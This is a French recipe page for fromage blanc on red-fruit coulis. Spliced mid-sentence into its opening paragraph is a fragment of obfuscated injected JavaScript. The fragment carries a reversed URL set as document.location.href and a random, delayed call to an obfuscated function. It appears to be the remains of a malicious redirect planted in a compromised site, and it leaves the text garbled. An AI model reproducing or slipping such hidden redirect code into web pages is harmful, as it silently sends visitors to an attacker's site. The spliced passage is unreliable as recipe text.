Fromage blanc sur coulis de fruits rouges
2017-12-30- Niveau : Difficile
Mélangez les jaunes d’œufs avec le sucre en poudre et obtenir une couleur blanchâtre.
Prélevez 5 cuillères à soupe de fromage blanc que vous faites tiédir dans une petite casserole, tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant et sans faire bouillir.
Ingrédients
- Pour 6 personnes
- 350 g de fromage blanc
- 320 g de crème fleurette froide
- 3 jaunes d'œufs
- 100 g de sucre en poudre
- 6 feuilles de gélatine
Préparation de la recette
Etape 1
Mélangez les jaunes d’œufs avec le sucre en poudre et obtenir une couleur blanchâtre. Prélevez 5 cuillères à soupe de fromage blanc que vous faites tiédir dans une petite casserole, tout en remuant et sans faire bouillir.
Etape 2
Hors du feu incorporez les feuilles de gélatine qui doivent se dissoudre dans une assiette creuse remplis d'au froide.
Etape 3
Incorporez le mélange précédent fromage, gélatine dans le fromage restant, le sucre glace, les jaunes d’œufs, et le sucre en poudre.
Etape 4
Fouettez la crème fleurette avec un fouet pendant 2 minutes jusqu'à obtenir un léger épaississement.
Etape 5
Incorporez dans la préparation en attente. Répartissez dans des ramequins.Placez au réfrigérateur pendant 1 heure et dégustez.
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